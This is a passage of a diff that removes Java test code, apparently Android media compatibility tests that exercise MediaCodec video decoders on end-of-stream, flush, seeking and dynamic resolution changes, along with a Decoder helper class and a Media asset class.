-                                decoder.configureAndStart(configFmt, stepSurface());
-                                if (earlyFlushMode != FLUSH_NEVER) {
-                                    decoder.flush();
-                                    // We must always queue CSD after a flush that is potentially
-                                    // before we receive output format has changed.  This should
-                                    // work even after we receive the format change.
-                                    decoder.queueCSD(fmt);
-                                }
-                                int decodedFrames = -decoder.queueInputBufferRange(
-                                        stepMedia(),
-                                        0 /* startFrame */,
-                                        queuedFrames,
-                                        true /* sendEos */,
-                                        true /* waitForEos */);
-                                if (decodedFrames <= 0) {
-                                    Log.w(TAG, "Did not receive EOS -- negating frame count");
-                                }
-                                decoder.stop();
-                                if (decodedFrames != queuedFrames) {
-                                    warn("decoded " + decodedFrames + " frames out of " +
-                                            queuedFrames + " queued");
-                                }
-                            } finally {
-                                warn(decoder.getWarnings());
-                                decoder.releaseQuietly();
-                            }
-                        }
-                    });
-                if (verify) {
-                    i >>= 1;
-                }
-            }
-        }
-    };
-
-    /**
-     * Similar to EarlyEosTest, but we keep the component alive and running in between the steps.
-     * This is how seeking should be done if all frames must be outputted.  This also tests that
-     * PTS can be repeated after flush.
-     */
-    class EosFlushSeekTest extends ActivityTest {
-        Decoder mDecoder; // test state
-        public boolean isValid(Codec c) {
-            return getFormat(c) != null;
-        }
-        public void addTests(TestList tests, final Codec c) {
-            tests.add(
-                new Step("testing EOS & flush before seek - init", this, c) {
-                    public void run() {
-                        mDecoder = new Decoder(c.name);
-                        mDecoder.configureAndStart(stepFormat(), stepSurface());
-                    }});
-
-            for (int i = NUM_FRAMES; i > 0; i--) {
-                final int queuedFrames = i;
-                tests.add(
-                    new Step("testing EOS & flush before seeking after " + queuedFrames +
-                            " frames", this, c) {
-                        public void run() {
-                            int decodedFrames = -mDecoder.queueInputBufferRange(
-                                    stepMedia(),
-                                    0 /* startFrame */,
-                                    queuedFrames,
-                                    true /* sendEos */,
-                                    true /* waitForEos */);
-                            if (decodedFrames != queuedFrames) {
-                                warn("decoded " + decodedFrames + " frames out of " +
-                                        queuedFrames + " queued");
-                            }
-                            warn(mDecoder.getWarnings());
-                            mDecoder.clearWarnings();
-                            mDecoder.flush();
-                            // First run will trigger output format change exactly once,
-                            // and subsequent runs should not trigger format change.
-                            // this part of test is new for Android12
-                            if (sIsAtLeastS) {
-                                assertEquals(1, mDecoder.getOutputFormatChangeCount());
-                            }
-                        }
-                    });
-                if (verify) {
-                    i >>= 1;
-                }
-            }
-
-            tests.add(
-                new Step("testing EOS & flush before seek - finally", this, c) {
-                    public void run() {
-                        try {
-                            mDecoder.stop();
-                        } finally {
-                            mDecoder.release();
-                        }
-                    }});
-        }
-    };
-
-    /**
-     * Similar to EosFlushSeekTest, but we change the media size between the steps.
-     * This is how dynamic resolution switching can be done on codecs that do not support
-     * adaptive playback.
-     */
-    class ReconfigDrcTest extends ActivityTest {
-        Decoder mDecoder;  // test state
-        public boolean isValid(Codec c) {
-            return getFormat(c) != null && c.mediaList.length > 1;
-        }
-        public void addTests(TestList tests, final Codec c) {
-            tests.add(
-                new Step("testing DRC with reconfigure - init", this, c) {
-                    public void run() {
-                        mDecoder = new Decoder(c.name);
-                    }});
-
-            for (int i = NUM_FRAMES, ix = 0; i > 0; i--, ix++) {
-                final int queuedFrames = i;
-                final int mediaIx = ix % c.mediaList.length;
-                tests.add(
-                    new Step("testing DRC with reconfigure after " + queuedFrames + " frames",
-                            this, c, mediaIx) {
-                        public void run() {
-                            try {
-                                mDecoder.configureAndStart(stepFormat(), stepSurface());
-                                int decodedFrames = -mDecoder.queueInputBufferRange(
-                                        stepMedia(),
-                                        0 /* startFrame */,
-                                        queuedFrames,
-                                        true /* sendEos */,
-                                        true /* waitForEos */);
-                                if (decodedFrames != queuedFrames) {
-                                    warn("decoded " + decodedFrames + " frames out of " +
-                                            queuedFrames + " queued");
-                                }
-                                warn(mDecoder.getWarnings());
-                                mDecoder.clearWarnings();
-                                mDecoder.flush();
-                            } finally {
-                                mDecoder.stop();
-                            }
-                        }
-                    });
-                if (verify) {
-                    i >>= 1;
-                }
-            }
-            tests.add(
-                new Step("testing DRC with reconfigure - finally", this, c) {
-                    public void run() {
-                        mDecoder.release();
-                    }});
-        }
-    };
-
-    /* ADAPTIVE-ONLY TESTS - only run on codecs that support adaptive playback */
-
-    /**
-     * Test dynamic resolution change support.  Queue various sized media segments
-     * with different resolutions, verify that all queued frames were decoded.  Here
-     * PTS will grow between segments.
-     */
-    class AdaptiveDrcTest extends ActivityTest {
-        Decoder mDecoder;
-        int mAdjustTimeUs;
-        int mDecodedFrames;
-        int mQueuedFrames;
-
-        public AdaptiveDrcTest() {
-            super();
-            adaptive();
-        }
-        public boolean isValid(Codec c) {
-            checkAdaptiveFormat();
-            return c.adaptive && c.mediaList.length > 1;
-        }
-        public void addTests(TestList tests, final Codec c) {
-            tests.add(
-                new Step("testing DRC with no reconfigure - init", this, c) {
-                    public void run() throws Throwable {
-                        // FIXME wait 2 seconds to allow system to free up previous codecs
-                        try {
-                            Thread.sleep(2000);
-                        } catch (InterruptedException e) {}
-                        mDecoder = new Decoder(c.name);
-                        mDecoder.configureAndStart(stepFormat(), stepSurface());
-                        mAdjustTimeUs = 0;
-                        mDecodedFrames = 0;
-                        mQueuedFrames = 0;
-                    }});
-
-            for (int i = NUM_FRAMES, ix = 0; i >= MIN_FRAMES_BEFORE_DRC; i--, ix++) {
-                final int mediaIx = ix % c.mediaList.length;
-                final int segmentSize = i;
-                tests.add(
-                    new Step("testing DRC with no reconfigure after " + i + " frames",
-                            this, c, mediaIx) {
-                        public void run() throws Throwable {
-                            mQueuedFrames += segmentSize;
-                            boolean lastSequence = segmentSize == MIN_FRAMES_BEFORE_DRC;
-                            if (verify) {
-                                lastSequence = (segmentSize >> 1) <= MIN_FRAMES_BEFORE_DRC;
-                            }
-                            int frames = mDecoder.queueInputBufferRange(
-                                    stepMedia(),
-                                    0 /* startFrame */,
-                                    segmentSize,
-                                    lastSequence /* sendEos */,
-                                    lastSequence /* expectEos */,
-                                    mAdjustTimeUs,
-                                    // Try sleeping after first queue so that we can verify
-                                    // output format change event happens at the right time.
-                                    true /* sleepAfterFirstQueue */);
-                            if (lastSequence && frames >= 0) {
-                                warn("did not receive EOS, received " + frames + " frames");
-                            } else if (!lastSequence && frames < 0) {
-                                warn("received EOS, received " + (-frames) + " frames");
-                            }
-                            warn(mDecoder.getWarnings());
-                            mDecoder.clearWarnings();
-
-                            mDecodedFrames += Math.abs(frames);
-                            mAdjustTimeUs += 1 + stepMedia().getTimestampRangeValue(
-                                    0, segmentSize, Media.RANGE_END);
-                        }});
-                if (verify) {
-                    i >>= 1;
-                }
-            }
-            tests.add(
-                new Step("testing DRC with no reconfigure - init", this, c) {
-                    public void run() throws Throwable {
-                        if (mDecodedFrames != mQueuedFrames) {
-                            warn("decoded " + mDecodedFrames + " frames out of " +
-                                    mQueuedFrames + " queued");
-                        }
-                        try {
-                            mDecoder.stop();
-                        } finally {
-                            mDecoder.release();
-                        }
-                    }
-                });
-        }
-    };
-
-    /**
-     * Queue EOS shortly after a dynamic resolution change.  Test that all frames were
-     * decoded.
-     */
-    class AdaptiveDrcEarlyEosTest extends ActivityTest {
-        public AdaptiveDrcEarlyEosTest() {
-            super();
-            adaptive();
-        }
-        public boolean isValid(Codec c) {
-            checkAdaptiveFormat();
-            return c.adaptive && c.mediaList.length > 1;
-        }
-        public Step testStep(final Codec c, final int framesBeforeDrc,
-                final int framesBeforeEos) {
-            return new Step("testing DRC with no reconfigure after " + framesBeforeDrc +
-                    " frames and subsequent EOS after " + framesBeforeEos + " frames",
-                    this, c) {
-                public void run() throws Throwable {
-                    Decoder decoder = new Decoder(c.name);
-                    int queuedFrames = framesBeforeDrc + framesBeforeEos;
-                    int framesA = 0;
-                    int framesB = 0;
-                    try {
-                        decoder.configureAndStart(stepFormat(), stepSurface());
-                        Media media = c.mediaList[0];
-
-                        framesA = decoder.queueInputBufferRange(
-                                media,
-                                0 /* startFrame */,
-                                framesBeforeDrc,
-                                false /* sendEos */,
-                                false /* expectEos */);
-                        if (framesA < 0) {
-                            warn("received unexpected EOS, received " + (-framesA) + " frames");
-                        }
-                        long adjustTimeUs = 1 + media.getTimestampRangeValue(
-                                0, framesBeforeDrc, Media.RANGE_END);
-
-                        media = c.mediaList[1];
-                        framesB = decoder.queueInputBufferRange(
-                                media,
-                                0 /* startFrame */,
-                                framesBeforeEos,
-                                true /* sendEos */,
-                                true /* expectEos */,
-                                adjustTimeUs,
-                                false /* sleepAfterFirstQueue */);
-                        if (framesB >= 0) {
-                            warn("did not receive EOS, received " + (-framesB) + " frames");
-                        }
-                        decoder.stop();
-                        warn(decoder.getWarnings());
-                    } finally {
-                        int decodedFrames = Math.abs(framesA) + Math.abs(framesB);
-                        if (decodedFrames != queuedFrames) {
-                            warn("decoded " + decodedFrames + " frames out of " + queuedFrames +
-                                    " queued");
-                        }
-                        decoder.release();
-                    }
-                }
-            };
-        }
-        public void addTests(TestList tests, Codec c) {
-            for (int drcFrame = 6; drcFrame >= MIN_FRAMES_BEFORE_DRC; drcFrame--) {
-                for (int eosFrame = 6; eosFrame >= 1; eosFrame--) {
-                    tests.add(testStep(c, drcFrame, eosFrame));
-                }
-            }
-        }
-    };
-
-    /**
-     * Similar to AdaptiveDrcTest, but tests that PTS can change at adaptive boundaries both
-     * forward and backward without the need to flush.
-     */
-    class AdaptiveSkipTest extends ActivityTest {
-        boolean forward;
-        public AdaptiveSkipTest(boolean fwd) {
-            forward = fwd;
-            adaptive();
-        }
-        public boolean isValid(Codec c) {
-            checkAdaptiveFormat();
-            return c.adaptive;
-        }
-        Decoder mDecoder;
-        int mAdjustTimeUs = 0;
-        int mDecodedFrames = 0;
-        int mQueuedFrames = 0;
-        public void addTests(TestList tests, final Codec c) {
-            tests.add(
-                new Step("testing flushless skipping - init", this, c) {
-                    public void run() throws Throwable {
-                        mDecoder = new Decoder(c.name);
-                        mDecoder.configureAndStart(stepFormat(), stepSurface());
-                        mAdjustTimeUs = 0;
-                        mDecodedFrames = 0;
-                        mQueuedFrames = 0;
-                    }});
-
-            for (int i = 2, ix = 0; i <= NUM_FRAMES; i++, ix++) {
-                final int mediaIx = ix % c.mediaList.length;
-                final int segmentSize = i;
-                final boolean lastSequence;
-                if (verify) {
-                    lastSequence = (segmentSize << 1) + 1 > NUM_FRAMES;
-                } else {
-                    lastSequence = segmentSize >= NUM_FRAMES;
-                }
-                tests.add(
-                    new Step("testing flushless skipping " + (forward ? "forward" : "backward") +
-                            " after " + i + " frames", this, c) {
-                        public void run() throws Throwable {
-                            int frames = mDecoder.queueInputBufferRange(
-                                stepMedia(),
-                                0 /* startFrame */,
-                                segmentSize,
-                                lastSequence /* sendEos */,
-                                lastSequence /* expectEos */,
-                                mAdjustTimeUs,
-                                false /* sleepAfterFirstQueue */);
-                            if (lastSequence && frames >= 0) {
-                                warn("did not receive EOS, received " + frames + " frames");
-                            } else if (!lastSequence && frames < 0) {
-                                warn("received unexpected EOS, received " + (-frames) + " frames");
-                            }
-                            warn(mDecoder.getWarnings());
-                            mDecoder.clearWarnings();
-
-                            mQueuedFrames += segmentSize;
-                            mDecodedFrames += Math.abs(frames);
-                            if (forward) {
-                                mAdjustTimeUs += 10000000 + stepMedia().getTimestampRangeValue(
-                                        0, segmentSize, Media.RANGE_DURATION);
-                            }
-                        }});
-                if (verify) {
-                    i <<= 1;
-                }
-            }
-
-            tests.add(
-                new Step("testing flushless skipping - finally", this, c) {
-                    public void run() throws Throwable {
-                        if (mDecodedFrames != mQueuedFrames) {
-                            warn("decoded " + mDecodedFrames + " frames out of " + mQueuedFrames +
-                                    " queued");
-                        }
-                        try {
-                            mDecoder.stop();
-                        } finally {
-                            mDecoder.release();
-                        }
-                    }});
-        }
-    };
-
-    // not yet used
-    static long checksum(ByteBuffer buf, int size, CRC32 crc) {
-        assertTrue(size >= 0);
-        assertTrue(size <= buf.capacity());
-        crc.reset();
-        if (buf.hasArray()) {
-            crc.update(buf.array(), buf.arrayOffset(), size);
-        } else {
-           int pos = buf.position();
-           buf.rewind();
-           final int rdsize = Math.min(4096, size);
-           byte bb[] = new byte[rdsize];
-           int chk;
-           for (int i = 0; i < size; i += chk) {
-                chk = Math.min(rdsize, size - i);
-                buf.get(bb, 0, chk);
-                crc.update(bb, 0, chk);
-            }
-            buf.position(pos);
-        }
-        return crc.getValue();
-    }
-
-    CRC32 mCRC;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mCRC = new CRC32();
-    }
-
-    /* ====================================================================== */
-    /*                              UTILITY FUNCTIONS                         */
-    /* ====================================================================== */
-    static String byteBufferToString(ByteBuffer buf, int start, int len) {
-        int oldPosition = buf.position();
-        buf.position(start);
-        int strlen = 2; // {}
-        boolean ellipsis = len < buf.limit();
-        if (ellipsis) {
-            strlen += 3; // ...
-        } else {
-            len = buf.limit();
-        }
-        strlen += 3 * len - (len > 0 ? 1 : 0); // XX,XX
-        char[] res = new char[strlen];
-        res[0] = '{';
-        res[strlen - 1] = '}';
-        if (ellipsis) {
-            res[strlen - 2] = res[strlen - 3] = res[strlen - 4] = '.';
-        }
-        for (int i = 1; i < len; i++) {
-            res[i * 3] = ',';
-        }
-        for (int i = 0; i < len; i++) {
-            byte b = buf.get();
-            int d = (b >> 4) & 15;
-            res[i * 3 + 1] = (char)(d + (d > 9 ? 'a' - 10 : '0'));
-            d = (b & 15);
-            res[i * 3 + 2] = (char)(d + (d > 9 ? 'a' - 10 : '0'));
-        }
-        buf.position(oldPosition);
-        return new String(res);
-    }
-
-    static <E> Iterable<E> chain(Iterable<E> ... iterables) {
-        /* simple chainer using ArrayList */
-        ArrayList<E> items = new ArrayList<E>();
-        for (Iterable<E> it: iterables) {
-            for (E el: it) {
-                items.add(el);
-            }
-        }
-        return items;
-    }
-
-    class Decoder implements MediaCodec.OnFrameRenderedListener {
-        private final static String TAG = "AdaptiveDecoder";
-        final long kTimeOutUs = 5000;
-        final long kCSDTimeOutUs = 1000000;
-        MediaCodec mCodec;
-        ByteBuffer[] mInputBuffers;
-        ByteBuffer[] mOutputBuffers;
-        TestSurface mSurface;
-        boolean mDoChecksum;
-        boolean mQueuedEos;
-        ArrayList<Long> mTimeStamps;
-        // We might add items when iterating mWarnings.
-        // Use CopyOnWrieArrayList to avoid ConcurrentModificationException.
-        CopyOnWriteArrayList<String> mWarnings;
-        Vector<Long> mRenderedTimeStamps; // using Vector as it is implicitly synchronized
-        long mLastRenderNanoTime;
-        int mFramesNotifiedRendered;
-        // True iff previous dequeue request returned INFO_OUTPUT_FORMAT_CHANGED.
-        boolean mOutputFormatChanged;
-        // Number of output format change event
-        int mOutputFormatChangeCount;
-        // Save the timestamps of the first frame of each sequence.
-        // Note: this is the only time output format change could happen.
-        ArrayList<Long> mFirstQueueTimestamps;
-
-        public Decoder(String codecName) {
-            MediaCodec codec = null;
-            try {
-                codec = MediaCodec.createByCodecName(codecName);
-            } catch (Exception e) {
-                throw new RuntimeException("couldn't create codec " + codecName, e);
-            }
-            Log.i(TAG, "using codec: " + codec.getName());
-            mCodec = codec;
-            mDoChecksum = false;
-            mQueuedEos = false;
-            mTimeStamps = new ArrayList<Long>();
-            mWarnings = new CopyOnWriteArrayList<String>();
-            mRenderedTimeStamps = new Vector<Long>();
-            mLastRenderNanoTime = System.nanoTime();
-            mFramesNotifiedRendered = 0;
-            mOutputFormatChanged = false;
-            mOutputFormatChangeCount = 0;
-            mFirstQueueTimestamps = new ArrayList<Long>();
-
-            codec.setOnFrameRenderedListener(this, null);
-        }
-
-        public void onFrameRendered(MediaCodec codec, long presentationTimeUs, long nanoTime) {
-            final long NSECS_IN_1SEC = 1000000000;
-            if (!mRenderedTimeStamps.remove(presentationTimeUs)) {
-                warn("invalid (rendered) timestamp " + presentationTimeUs + ", rendered " +
-                        mRenderedTimeStamps);
-            }
-            assert nanoTime > mLastRenderNanoTime;
-            mLastRenderNanoTime = nanoTime;
-            ++mFramesNotifiedRendered;
-            assert nanoTime > System.nanoTime() - NSECS_IN_1SEC;
-        }
-
-        public String getName() {
-            return mCodec.getName();
-        }
-
-        public Iterable<String> getWarnings() {
-            return mWarnings;
-        }
-
-        private void warn(String warning) {
-            mWarnings.add(warning);
-            Log.w(TAG, warning);
-        }
-
-        public void clearWarnings() {
-            mWarnings.clear();
-        }
-
-        public int getOutputFormatChangeCount() {
-            return mOutputFormatChangeCount;
-        }
-
-        public void configureAndStart(MediaFormat format, TestSurface surface) {
-            mSurface = surface;
-            Log.i(TAG, "configure(" + format + ", " + mSurface.getSurface() + ")");
-            mCodec.configure(format, mSurface.getSurface(), null /* crypto */, 0 /* flags */);
-            Log.i(TAG, "start");
-            mCodec.start();
-
-            // inject some minimal setOutputSurface test
-            // TODO: change this test to also change the surface midstream
-            try {
-                mCodec.setOutputSurface(null);
-                fail("should not be able to set surface to NULL");
-            } catch (IllegalArgumentException e) {}
-            mCodec.setOutputSurface(mSurface.getSurface());
-
-            mInputBuffers = mCodec.getInputBuffers();
-            mOutputBuffers = mCodec.getOutputBuffers();
-            Log.i(TAG, "configured " + mInputBuffers.length + " input[" +
-                  mInputBuffers[0].capacity() + "] and " +
-                  mOutputBuffers.length + "output[" +
-                  (mOutputBuffers[0] == null ? null : mOutputBuffers[0].capacity()) + "]");
-            mQueuedEos = false;
-            mRenderedTimeStamps.clear();
-            mLastRenderNanoTime = System.nanoTime();
-            mFramesNotifiedRendered = 0;
-        }
-
-        public void stop() {
-            Log.i(TAG, "stop");
-            mCodec.stop();
-            // if we have queued 32 frames or more, at least one should have been notified
-            // to have rendered.
-            if (mRenderedTimeStamps.size() > 32 && mFramesNotifiedRendered == 0) {
-                fail("rendered " + mRenderedTimeStamps.size() +
-                        " frames, but none have been notified.");
-            }
-        }
-
-        public void flush() {
-            Log.i(TAG, "flush");
-            mCodec.flush();
-            mQueuedEos = false;
-            mTimeStamps.clear();
-        }
-
-        public String dequeueAndReleaseOutputBuffer(MediaCodec.BufferInfo info) {
-            int ix = mCodec.dequeueOutputBuffer(info, kTimeOutUs);
-            if (ix == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                mOutputBuffers = mCodec.getOutputBuffers();
-                Log.d(TAG, "output buffers have changed.");
-                return null;
-            } else if (ix == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat format = mCodec.getOutputFormat();
-                Log.d(TAG, "output format has changed to " + format);
-                int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-                mDoChecksum = isRecognizedFormat(colorFormat);
-                mOutputFormatChanged = true;
-                ++mOutputFormatChangeCount;
-                return null;
-            } else if (ix < 0) {
-                Log.v(TAG, "no output");
-                return null;
-            }
-            /* create checksum */
-            long sum = 0;
-
-            Log.v(TAG, "dequeue #" + ix + " => { [" + info.size + "] flags=" + info.flags +
-                    " @" + info.presentationTimeUs + "}");
-
-            // we get a nonzero size for valid decoded frames
-            boolean doRender = (info.size != 0);
-
-            if (doRender) {
-                mRenderedTimeStamps.add(info.presentationTimeUs);
-                if (!mTimeStamps.remove(info.presentationTimeUs)) {
-                    warn("invalid (decoded) timestamp " + info.presentationTimeUs + ", queued " +
-                            mTimeStamps);
-                }
-            }
-
-            if (mSurface.getSurface() == null) {
-                if (mDoChecksum) {
-                    sum = checksum(mOutputBuffers[ix], info.size, mCRC);
-                }
-                mCodec.releaseOutputBuffer(ix, doRender);
-            } else if (doRender) {
-                // If using SurfaceTexture, as soon as we call releaseOutputBuffer, the
-                // buffer will be forwarded to SurfaceTexture to convert to a texture.
-                // The API doesn't guarantee that the texture will be available before
-                // the call returns, so we need to wait for the onFrameAvailable callback
-                // to fire.  If we don't wait, we risk dropping frames.
-                mSurface.prepare();
-                mCodec.releaseOutputBuffer(ix, doRender);
-                mSurface.waitForDraw();
-                if (mDoChecksum) {
-                    sum = mSurface.checksum();
-                }
-            } else {
-                mCodec.releaseOutputBuffer(ix, doRender);
-            }
-
-            if (mOutputFormatChanged) {
-                // Previous dequeue was output format change; format change must
-                // correspond to a new sequence, so it must happen right before
-                // the first frame of one of the sequences.
-                // this part of test is new for Android12
-                if (sIsAtLeastS) {
-                    assertTrue("Codec " + getName() + " cannot find formatchange " + info.presentationTimeUs +
-                        " in " + mFirstQueueTimestamps,
-                        mFirstQueueTimestamps.remove(info.presentationTimeUs));
-                }
-                mOutputFormatChanged = false;
-            }
-
-            return String.format(Locale.US, "{pts=%d, flags=%x, data=0x%x}",
-                                 info.presentationTimeUs, info.flags, sum);
-        }
-
-        /* returns true iff queued a frame */
-        public boolean queueInputBuffer(Media media, int frameIx, boolean EOS) {
-            return queueInputBuffer(media, frameIx, EOS, 0);
-        }
-
-        public boolean queueInputBuffer(Media media, int frameIx, boolean EOS, long adjustTimeUs) {
-            if (mQueuedEos) {
-                return false;
-            }
-
-            int ix = mCodec.dequeueInputBuffer(kTimeOutUs);
-
-            if (ix < 0) {
-                return false;
-            }
-
-            ByteBuffer buf = mInputBuffers[ix];
-            Media.Frame frame = media.getFrame(frameIx);
-            buf.clear();
-
-            long presentationTimeUs = adjustTimeUs;
-            int flags = 0;
-            if (frame != null) {
-                buf.put((ByteBuffer)frame.buf.clear());
-                presentationTimeUs += frame.presentationTimeUs;
-                flags = frame.flags;
-            }
-
-            if (EOS) {
-                flags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                mQueuedEos = true;
-            }
-
-            mTimeStamps.add(presentationTimeUs);
-            Log.v(TAG, "queue { [" + buf.position() + "]=" + byteBufferToString(buf, 0, 16) +
-                    " flags=" + flags + " @" + presentationTimeUs + "} => #" + ix);
-            mCodec.queueInputBuffer(
-                    ix, 0 /* offset */, buf.position(), presentationTimeUs, flags);
-            return true;
-        }
-
-        /* returns number of frames received multiplied by -1 if received EOS, 1 otherwise */
-        public int queueInputBufferRange(
-                Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
-                boolean waitForEos) {
-            return queueInputBufferRange(
-                    media, frameStartIx, frameEndIx, sendEosAtEnd, waitForEos, 0, false);
-        }
-
-        public void queueCSD(MediaFormat format) {
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            for (int csdIx = 0; ; ++csdIx) {
-                ByteBuffer csdBuf = format.getByteBuffer("csd-" + csdIx);
-                if (csdBuf == null) {
-                    break;
-                }
-
-                int ix = mCodec.dequeueInputBuffer(kCSDTimeOutUs);
-                if (ix < 0) {
-                    fail("Could not dequeue input buffer for CSD #" + csdIx);
-                    return;
-                }
-
-                ByteBuffer buf = mInputBuffers[ix];
-                buf.clear();
-                buf.put((ByteBuffer)csdBuf.clear());
-                Log.v(TAG, "queue-CSD { [" + buf.position() + "]=" +
-                        byteBufferToString(buf, 0, 16) + "} => #" + ix);
-                mCodec.queueInputBuffer(
-                        ix, 0 /* offset */, buf.position(), 0 /* timeUs */,
-                        MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
-            }
-        }
-
-        public int queueInputBufferRange(
-                Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
-                boolean waitForEos, long adjustTimeUs, boolean sleepAfterFirstQueue) {
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            int frameIx = frameStartIx;
-            int numFramesDecoded = 0;
-            boolean sawOutputEos = false;
-            int deadDecoderCounter = 0;
-            ArrayList<String> frames = new ArrayList<String>();
-            String buf = null;
-            // After all input buffers are queued, dequeue as many output buffers as possible.
-            while ((waitForEos && !sawOutputEos) || frameIx < frameEndIx || buf != null) {
-                if (frameIx < frameEndIx) {
-                    if (queueInputBuffer(
-                            media,
-                            frameIx,
-                            sendEosAtEnd && (frameIx + 1 == frameEndIx),
-                            adjustTimeUs)) {
-                        if (frameIx == frameStartIx) {
-                            if (sleepAfterFirstQueue) {
-                                // MediaCodec detects and processes output format change upon
-                                // the first frame. It must not send the event prematurely with
-                                // pending buffers to be dequeued. Sleep after the first frame
-                                // with new resolution to make sure MediaCodec had enough time
-                                // to process the frame with pending buffers.
-                                try {
-                                    Thread.sleep(100);
-                                } catch (InterruptedException e) {}
-                            }
-                            mFirstQueueTimestamps.add(mTimeStamps.get(mTimeStamps.size() - 1));
-                        }
-                        frameIx++;
-                    }
-                }
-
-                buf = dequeueAndReleaseOutputBuffer(info);
-                if (buf != null) {
-                    // Some decoders output a 0-sized buffer at the end. Disregard those.
-                    if (info.size > 0) {
-                        deadDecoderCounter = 0;
-                        numFramesDecoded++;
-                    }
-
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        Log.d(TAG, "saw output EOS.");
-                        sawOutputEos = true;
-                    }
-                }
-                if (++deadDecoderCounter >= 100) {
-                    warn("have not received an output frame for a while");
-                    break;
-                }
-            }
-
-            if (numFramesDecoded < frameEndIx - frameStartIx - 16) {
-                fail("Queued " + (frameEndIx - frameStartIx) + " frames but only received " +
-                        numFramesDecoded);
-            }
-            return (sawOutputEos ? -1 : 1) * numFramesDecoded;
-        }
-
-        void release() {
-            Log.i(TAG, "release");
-            mCodec.release();
-            mSurface.release();
-            mInputBuffers = null;
-            mOutputBuffers = null;
-            mCodec = null;
-            mSurface = null;
-        }
-
-        // don't fail on exceptions in release()
-        void releaseQuietly() {
-            try {
-                Log.i(TAG, "release");
-                mCodec.release();
-            } catch (Throwable e) {
-                Log.e(TAG, "Exception while releasing codec", e);
-            }
-            mSurface.release();
-            mInputBuffers = null;
-            mOutputBuffers = null;
-            mCodec = null;
-            mSurface = null;
-        }
-    };
-
-    /* from EncodeDecodeTest */
-    private static boolean isRecognizedFormat(int colorFormat) {
-        switch (colorFormat) {
-            // these are the formats we know how to handle for this test
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
-            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
-                return true;
-            default:
-                return false;
-        }
-    }
-
-    private int countFrames(
-            String codecName, MediaCodecInfo codecInfo, Media media, int eosframe, TestSurface s)
-            throws Exception {
-        Decoder codec = new Decoder(codecName);
-        codec.configureAndStart(media.getFormat(), s /* surface */);
-
-        int numframes = codec.queueInputBufferRange(
-                media, 0, eosframe, true /* sendEos */, true /* waitForEos */);
-        if (numframes >= 0) {
-            Log.w(TAG, "Did not receive EOS");
-        } else {
-            numframes *= -1;
-        }
-
-        codec.stop();
-        codec.release();
-        return numframes;
-    }
-}
-
-/* ====================================================================== */
-/*                             Video Media Asset                          */
-/* ====================================================================== */
-class Media {
-    private final static String TAG = "AdaptiveMedia";
-    private MediaFormat mFormat;
-    private MediaFormat mAdaptiveFormat;
-    static class Frame {
-        long presentationTimeUs;
-        int flags;
-        ByteBuffer buf;
-        public Frame(long _pts, int _flags, ByteBuffer _buf) {
-            presentationTimeUs = _pts;
-            flags = _flags;
-            buf = _buf;
-        }
-    };
-    private Frame[] mFrames;
-
-    public Frame getFrame(int ix) {
-        /* this works even on short sample as frame is allocated as null */
-        if (ix >= 0 && ix < mFrames.length) {
-            return mFrames[ix];
-        }
-        return null;
-    }
-    private Media(MediaFormat format, MediaFormat adaptiveFormat, int numFrames) {
-        /* need separate copies of format as once we add adaptive flags to
-           MediaFormat, we cannot remove them */
-        mFormat = format;
-        mAdaptiveFormat = adaptiveFormat;
-        mFrames = new Frame[numFrames];
-    }
-
-    public MediaFormat getFormat() {
-        return mFormat;
-    }
-
-    public static MediaFormat removeCSD(MediaFormat orig) {
-        MediaFormat copy = MediaFormat.createVideoFormat(
-                orig.getString(orig.KEY_MIME),
-                orig.getInteger(orig.KEY_WIDTH), orig.getInteger(orig.KEY_HEIGHT));
-        for (String k : new String[] {
-                orig.KEY_FRAME_RATE, orig.KEY_MAX_WIDTH, orig.KEY_MAX_HEIGHT,
-                orig.KEY_MAX_INPUT_SIZE
-        }) {
-            if (orig.containsKey(k)) {
-                try {
-                    copy.setInteger(k, orig.getInteger(k));
-                } catch (ClassCastException e) {
-                    try {
-                        copy.setFloat(k, orig.getFloat(k));
-                    } catch (ClassCastException e2) {
-                        // Could not copy value. Don't fail here, as having non-standard
-                        // value types for defined keys is permissible by the media API
-                        // for optional keys.
-                    }
-                }
-            }
-        }
-        return copy;
-    }
-
-    public MediaFormat getAdaptiveFormat(int width, int height, int maxInputSize) {
-        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, width);
-        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, height);
-        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
-        return mAdaptiveFormat;
-    }
-
-    public String getMime() {
-        return mFormat.getString(MediaFormat.KEY_MIME);
-    }
-
-    public int getMaxInputSize() {
-        return mFormat.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE);
-    }
-
-    public void setMaxInputSize(int maxInputSize) {
-        mFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
-    }
-
-    public int getWidth() {
-        return mFormat.getInteger(MediaFormat.KEY_WIDTH);
-    }
-
-    public int getHeight() {
-        return mFormat.getInteger(MediaFormat.KEY_HEIGHT);
-    }
-
-    public final static int RANGE_START = 0;
-    public final static int RANGE_END = 1;
-    public final static int RANGE_DURATION = 2;
-
-    public long getTimestampRangeValue(int frameStartIx, int frameEndIx, int kind) {
-        long min = Long.MAX_VALUE, max = Long.MIN_VALUE;
-        for (int frameIx = frameStartIx; frameIx < frameEndIx; frameIx++) {
-            Frame frame = getFrame(frameIx);
-            if (frame != null) {
